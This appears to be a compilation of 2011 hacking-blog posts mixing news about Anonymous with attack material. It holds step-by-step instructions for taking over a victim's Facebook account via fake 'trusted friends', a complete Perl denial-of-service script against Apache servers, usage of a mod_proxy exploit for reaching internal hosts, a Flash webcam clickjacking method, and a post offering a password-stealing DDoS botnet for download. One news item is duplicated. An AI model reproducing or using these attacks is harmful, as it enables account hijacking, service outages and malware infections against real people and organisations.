Anonymous Warns Maxican Drug Cartel

Anonymous have warned to expose members of Los Zetas unless they release kidnapped member of hacking collective.
The Zetas are one of the most notorious of several rival gangs of drug traffickers that have plagued Mexico over recent years. Over recent months, turf wars and escalating attacks have increased the death toll.

The Monterrey casino attack in August, which claimed the lives of 53 people, and the the 2011 Tamaulipas massacre, involving the mass murder of an estimated 190 plus abducted bus passengers back in April, were both blamed on the Zetas.
Some Zetas members are former Mexican Special Forces soldiers, the US Department of Homeland Security warns. A woman from Nuevo Laredo, Marisol Macias Castaneda, 39, was beheaded for posting about the Zetas on a local online discussion forum last month just days after two bloggers were found hanging from a bridge in the same northern Mexican border city.
If Anonymous follows through on its threat to expose details of the Zeta's operations, it will almost certainly result in further bloodshed. Analysts warned the Houston Chronicle that outing cartel members would leave bloggers and others more vulnerable to reprisal attacks by the cartel.

Exploiting "Facebook Trusted Friend" Security Feature

Last week Facebook announced that in one day 600,000 accounts possibly get hacked. Another possible solution for Facebook to combat security issues is to find 3 to 5 "Trusted friends". Facebook will be adding two new security features that will allow users to regain control of their account if it gets hijacked.

In Facebook's case, the keys are codes, and the user can choose from three to five "Trusted friends" who are then provided with a code. If you ever get locked out of your account (and you can't access your email to follow the link after resetting your Facebook password), you gather all the codes and use them to gain access to it again.  This method is used by hackers to hack most of the Facebook account using little bit of Social Engineering.


How to hack using this feature ? 


For this technique you need to create 3 fake Facebook account and you need to surely add these as friends into your victims account whose account you are going to hack.
After success full addition of your fake accounts into victims account as friends follow the below steps .:


1. Go to Facebook and click Forgot your Password ?


2. Than you will get something like below just enter the details you know about him enter his Username, email address and full name.

3. After entering everything check it again and click on submit.

4. After succeful search for the user Facebook will show some information about how many emails are linked to the account and there is simple option saying 
No Longer Access to These click that one.

5. Now it will promote you to enter a new email address on which you will get the password resetting option so enter your email address I suggest you creating a Fake or Temporary email address for safety purpose.

6. Than it will promote you to enter the Security well if you have some security guess about that one than that’s ok but if you don’t know it than simply enter 3 wrong answers and it will take you to the 3 trusted friends recovery page like below.

7. Now just click continue and facebook will ask you to choose 3 trusted friends choose the 3 fake profiles of your which you created and added into the victims account. 
8. After selecting 3 accounts facebook will send security codes to these accounts just enter these codes and you will get Password Resetting email from Facebook on the account you created in Step 5

That’s it now you are successful in Hacking Facebook Password with the 3 Trusted Friends Method.

||source||

Anonymous Busts Child Porn Ring

Anonymous Busts Child Porn Ring

Hacker group Anonymous briefly crashed a large collection of child pornography Web sites, and published the names of its patrons.
Last week, the cyber vigilantes, better known for targeting large corporations and oppressive government regimes, used a brute force attack to infiltrate a server called Freedom Hosting, which housed about 40 child porn sites. The biggest site was Lolita City, which contained more than 100GB of content.

According to a timeline of events posted on Pastebin, Anonymous said before taking down the sites, it issued a warning to Freedom Hosting to remove the illegal content. When it failed to do so, Anonymous attacked. The sites were down for about five minutes before an admin restored them, upon which Anonymous again launched a successful attack. Later, the group posted on Pastebin the names of 1,589 individuals who visited Lolita City.
"If the FBI, Interpol, or other law enforcement agency should happen to come across this list, please use it to investigate and bring justice to the people listed here," Anonymous wrote in a statement.
The Anonymous operation was carried out by sub-group Operation Darknet, which targets abuse groups that swap images on the Tor network, an anonymous network routing service that hides a browser's location.
Hacker group Anonymous briefly crashed a large collection of child pornography Web sites, and published the names of its patrons.
Last week, the cyber vigilantes, better known for targeting large corporations and oppressive government regimes, used a brute force attack to infiltrate a server called Freedom Hosting, which housed about 40 child porn sites. The biggest site was Lolita City, which contained more than 100GB of content.
According to a timeline of events posted on Pastebin, Anonymous said before taking down the sites, it issued a warning to Freedom Hosting to remove the illegal content. When it failed to do so, Anonymous attacked. The sites were down for about five minutes before an admin restored them, upon which Anonymous again launched a successful attack. Later, the group posted on Pastebin the names of 1,589 individuals who visited Lolita City.
"If the FBI, Interpol, or other law enforcement agency should happen to come across this list, please use it to investigate and bring justice to the people listed here," Anonymous wrote in a statement.
The Anonymous operation was carried out by sub-group Operation Darknet, which targets abuse groups that swap images on the Tor network, an anonymous network routing service that hides a browser's location.
#OpDarknet calls Freedom Hosting "enemy number one" and is demanding the server remove all child porn content from the site and deny hosting services to any future child porn Web sites. "We will continue to not only crash Freedom Hosting's server, but any other server we find to contain, promote, or support child pornography," they said.

Anonymous, a controversial hacker coalition better known for releasing police department emails and launching denial of service attacks against Sony, has received more support than usual for this latest attack against an undeniable moral enemy.
"Anonymous pwned a bunch of pedos; huzzah," tweeted @ioerror, or Jake Appelbaum.
"I totaly [sic] support this kind of hacking. Well done," tweeted Kat Corbett, a host for KROQ radio station in Los Angeles.
Others, like security expert Graham Cluley of Sophos, disagreed with Anonymous' action.
"Their intentions may have been good, but take-downs of illegal Web sites and sharing networks should be done by the authorities, not internet vigilantes," he wrote in a blog post. "When 'amateurs' attack there is always the risk that they are compromising an existing investigation, preventing the police from gathering the necessary evidence they require for a successful prosecution, or making it difficult to argue that evidence has not been corrupted by hackers."
In early August, the Justice Department announced that it had dismantled a members-only child porn Internet bulletin board that was intended to promote pedophilia.

Apache Server 2.3.14 Denial of Service Exploit

A security vulnerability have been found on Latest version of Apache Server 2.3.14 . This vulnerability was discovered by Egyptian hacker/exploit writer Xen0n . He developed an perl exploit making everyone capable to exploit this vulnerability 

#!/usr/bin/perl -w
# Exploit Title: Apache Server 2.3.14 <= Denial of Service exploit (DDOS)
# Date: 22/10/2011
# Author: Xen0n
# Software Link: http://www.apache.org/dyn/closer.cgi
# Version: 2.3.14 and older
# Tested on: CentOs
#feel free to contact us xenon.sec@gmail.com
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;
$SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors
print <<EOTEXT;
ooooooo ooooo .oooo.
`8888 d8' d8P'`Y8b
Y888..8P .ooooo. ooo. .oo. 888 888 ooo. .oo.
`8888' d88' `88b `888P"Y88b 888 888 `888P"Y88b
.8PY888. 888ooo888 888 888 888 888 888 888
d8' `888b 888 .o 888 888 `88b d88' 888 888
o888o o88888o `Y8bod8P' o888o o888o `Y8bd8P' o888o o888o
Welcome to Xen0n Apache Attacker
EOTEXT
my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $xenon, $method, $ssl, $rand, $tcpto );
my $result = GetOptions('shost=s' => \$shost,'dns=s' => \$host,'xenon' => \$xenon,'num=i' => \$connections,'cache' => \$cache,'port=i' => \$port,'https' => \$ssl,'tcpto=i' => \$tcpto,'test' => \$test,'timeout=i' => \$timeout,'version' => \$version,);
if ($version) {
print "Version 1.0\n";
exit;
}
unless ($host) {
print "Test:\n\n\tperl $0 -dns [www.example.com] -test\n";
print "Usage:\n\n\tperl $0 -dns [www.example.com] -port 80 -timeout 100 -num 1000 -tcpto 5 -xenon\n";
print "\n\temail: xenon.sec@ gmail.com\n";
print "\n";
exit;
}
unless ($port) {
$port = 80;
print "Defaulting to port 80.\n";
}
unless ($tcpto) {
$tcpto = 5;
print "Defaulting to a 5 second tcp connection timeout.\n";
}
unless ($test) {
unless ($timeout) {
$timeout = 100;
print "Defaulting to a 100 second re-try timeout.\n";
}
unless ($connections) {
$connections = 1000;
print "Defaulting to 1000 connections.\n";
}
}
my $usemultithreading = 0;
if ( $Config{usethreads} ) {
print "Multithreading enabled.\n";
$usemultithreading = 1;
use threads;
use threads::shared;
}
else {
print "No multithreading capabilites found!\n";
print "Xen0n will be slower than normal as a result.\n";
}
my $packetcount : shared = 0;
my $failed : shared = 0;
my $connectioncount : shared = 0;
srand() if ($cache);
if ($shost) {
$sendhost = $shost;
}
else {
$sendhost = $host;
}
if ($xenon) {
$method = "POST";
}
else {
$method = "GET";
}
if ($test) {
my @times = ( "1", "30", "90", "240", "500" );
my $totaltime = 0;
foreach (@times) {
$totaltime = $totaltime + $_;
}
$totaltime = $totaltime / 60;
print "Testing $host could take up to $totaltime minutes.\n";
my $delay = 0;
my $working = 0;
my $sock;
if ($ssl) {
if (
$sock = new IO::Socket::SSL(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working = 1;
}
}
else {
if (
$sock = new IO::Socket::INET(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working = 1;
}
}
if ($working) {
if ($cache) {
$rand = "?" . int( rand(99999999999999) );
}
else {
$rand = "";
}
my $primarypayload =
"GET /$rand HTTP/1.1\r\n"
. "Host: $sendhost\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
. "Content-Length: 42\r\n";
if ( print $sock $primarypayload ) {
print "Connection successful, now just wait...\n";
}
else {
print
"That's odd - I connected but couldn't send the data to $host:$port.\n";
print "Is something wrong?\nDying.\n";
exit;
}
}
else {
print "Uhm... I can't connect to $host:$port.\n";
print "Is something wrong?\nDying.\n";
exit;
}
for ( my $i = 0 ; $i <= $#times ; $i++ ) {
print "Trying a $times[$i] second delay: \n";
sleep( $times[$i] );
if ( print $sock "X-a: b\r\n" ) {
print "\tWorked.\n";
$delay = $times[$i];
}
else {
if ( $SIG{__WARN__} ) {
$delay = $times[ $i - 1 ];
last;
}
print "\tFailed after $times[$i] seconds.\n";
}
}
if ( print $sock "Connection: Close\r\n\r\n" ) {
print "Okay that's enough time. Xen0n closed the socket.\n";
print "Use $delay seconds for -timeout.\n";
exit;
}
else {
print "Remote server closed socket.\n";
print "Use $delay seconds for -timeout.\n";
exit;
}
if ( $delay < 166 ) {
print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delay seconds) and it generally
takes between 200-500 threads for most servers and assuming any latency at
all... you might have trouble using Xen0n against this target. You can
tweak the -tcpto flag down to 1 second but it still may not build the sockets
in time.
EOSUCKS2BU
}
}
else {
print
"Attacking $host:$port every $timeout seconds with $connections sockets:\n";
if ($usemultithreading) {
domultithreading($connections);
}
else {
doconnections( $connections, $usemultithreading );
}
}
sub doconnections {
my ( $num, $usemultithreading ) = @_;
my ( @first, @sock, @working );
my $failedconnections = 0;
$working[$_] = 0 foreach ( 1 .. $num ); #initializing
$first[$_] = 0 foreach ( 1 .. $num ); #initializing
while (1) {
$failedconnections = 0;
print "\t\tBuilding sockets.\n";
foreach my $z ( 1 .. $num ) {
if ( $working[$z] == 0 ) {
if ($ssl) {
if (
$sock[$z] = new IO::Socket::SSL(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working[$z] = 1;
}
else {
$working[$z] = 0;
}
}
else {
if (
$sock[$z] = new IO::Socket::INET(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working[$z] = 1;
$packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK
}
else {
$working[$z] = 0;
}
}
if ( $working[$z] == 1 ) {
if ($cache) {
$rand = "?" . int( rand(99999999999999) );
}
else {
$rand = "";
}
my $primarypayload =
"$method /$rand HTTP/1.1\r\n"
. "Host: $sendhost\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
. "Content-Length: 42\r\n";
my $handle = $sock[$z];
if ($handle) {
print $handle "$primarypayload";
if ( $SIG{__WARN__} ) {
$working[$z] = 0;
close $handle;
$failed++;
$failedconnections++;
}
else {
$packetcount++;
$working[$z] = 1;
}
}
else {
$working[$z] = 0;
$failed++;
$failedconnections++;
}
}
else {
$working[$z] = 0;
$failed++;
$failedconnections++;
}
}
}
print "\t\tSending data.\n";
foreach my $z ( 1 .. $num ) {
if ( $working[$z] == 1 ) {
if ( $sock[$z] ) {
my $handle = $sock[$z];
if ( print $handle "X-a: b\r\n" ) {
$working[$z] = 1;
$packetcount++;
}
else {
$working[$z] = 0;
#debugging info
$failed++;
$failedconnections++;
}
}
else {
$working[$z] = 0;
#debugging info
$failed++;
$failedconnections++;
}
}
}
print
"Current stats:\tXen0n has sent $packetcount packets to $host.\nThe attack will sleep for $timeout seconds...\n\n";
sleep($timeout);
}
}
sub domultithreading {
my ($num) = @_;
my @thrs;
my $i = 0;
my $connectionsperthread = 50;
while ( $i < $num ) {
$thrs[$i] =
threads->create( \&doconnections, $connectionsperthread, 1 );
$i += $connectionsperthread;
}
my @threadslist = threads->list();
while ( $#threadslist > 0 ) {
$failed = 0;
}
}
__END__
# 1337day.com [2011-10-22]

Adobe Flash Bug | Spy On The Webcams of Your Website Visitors

A slight variation of a previously designed clickjacking attack that used a Adobe Flash vulnerability has once again made it possible for website administrators to surreptitiously spy on their visitors by turning on the user's computer webcam and microphone.
It works in all versions of Adobe Flash that the researcher have tested . He’ve confirmed that it works in the Firefox and Safari for Mac browsers. Use one of those if you check out the live demo. There’s a weird CSS opacity bug in most other browsers (Chrome for Mac and most browsers on Windows/Linux).

Clickjacking + Adobe Flash = Sad Times!

This attack works by using a neat variation of the normal clickjacking technique that spammers and other bad people are using in the wild right now. For the uninitiated:

Combine clickjacking with the Adobe Flash Player Setting Manager pageand you have a recipe for some sad times.

How the attack works ?

Instead of iframing the whole settings page (which contains the framebusting code), Just  iframe the settings SWF file. This  bypasses the framebusting JavaScript code, since we don’t load the whole page — just the remote .SWF file. I was really surprised to find out that this actually works!

 A bunch of clickjacking attacks in the wild,  never any attacks where the attacker iframes a SWF file from a remote domain to clickjack it — let alone a .SWF file as important as one that controls access to your webcam and mic!

The problem here is the Flash Player Setting Manager, this inheritance from Macromedia might be the Flash Player security Achilles heel.

— Guya.net

This is a screenshot of what the Settings Manager .SWF file looks like:

| Source | 

Apache mod_proxy Proof of Concept (CVE-2011-3368)

A recent Apache vulnerability has been made public whereby an attacker could gain unauthorised access to content in the DMZ network:

Description
The mod_proxy module in the Apache HTTP Server 1.3.x through 1.3.42, 2.0.x through 2.0.64, and 2.2.x through 2.2.21 does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of a reverse proxy, which allows remote attackers to send requests to intranet servers via a malformed URI containing an initial @ (at sign) character.

SECFORCE has developed a proof of concept for this vulnerability .The script exploits the vulnerability and allows the user to retrieve arbitrary known files from the DMZ. The tool can also be used to perform a port scan of the web server using the Apache proxy functionality, and therefore bypassing any firewall. Click here to download the POC.


Usage :- 

rmacros@laptop2: python apache_proxy_scanner.py

CVE-2011-3368 proof of concept by Rodrigo Marcos
http://www.secforce.co.uk
usage():
python apache_scan.py [options]
 [options]
    -r: Remote Apache host
    -p: Remote Apache port (default is 80)
    -u: URL on the remote web server (default is /)
    -d: Host in the DMZ (default is 127.0.0.1)
    -e: Port in the DMZ (enables 'single port scan')
    -g: GET request to the host in the DMZ (default is /)
    -h: Help page
examples:
 - Port scan of the remote host
    python apache_scan.py -r www.example.com -u /img/test.gif
 - Port scan of a host in the DMZ
    python apache_scan.py -r www.example.com -u /img/test.gif
 -d internalhost.local
- Retrieve a resource from a host in the DMZ
    python apache_scan.py -r www.example.com -u /img/test.gif
 -d internalhost.local -e 80 -g /accounts/index.html

The following screenshot shows the result of the command above:

| source | 

Optima DDOS 10a Botnet Download

Do

"Optima DDOS 10a Botnet" full version posted for all to download and use. Complete new version of the acclaimed DDoS bot Optima Darkness. In this new version 10a according to the author was raised in secrecy bot system and optimized grabber passwords. It cost about $ 600 worth.


Features of the bot :-

• DDoS attacks of three types - http flood, icmp-flood, syn-flood.
• Theft of stored passwords from some applications installed on the victim's system, details below.
• Opening on the infected system proxy Socks5.
• The possibility of cheating various counters on the websites (http-access the sites).
• Hidden download and run the specified file to the affected systems.
• Installed in the system as a service
• Weight bot - 95.5 kb, written in Delphi.

DOWNLOAD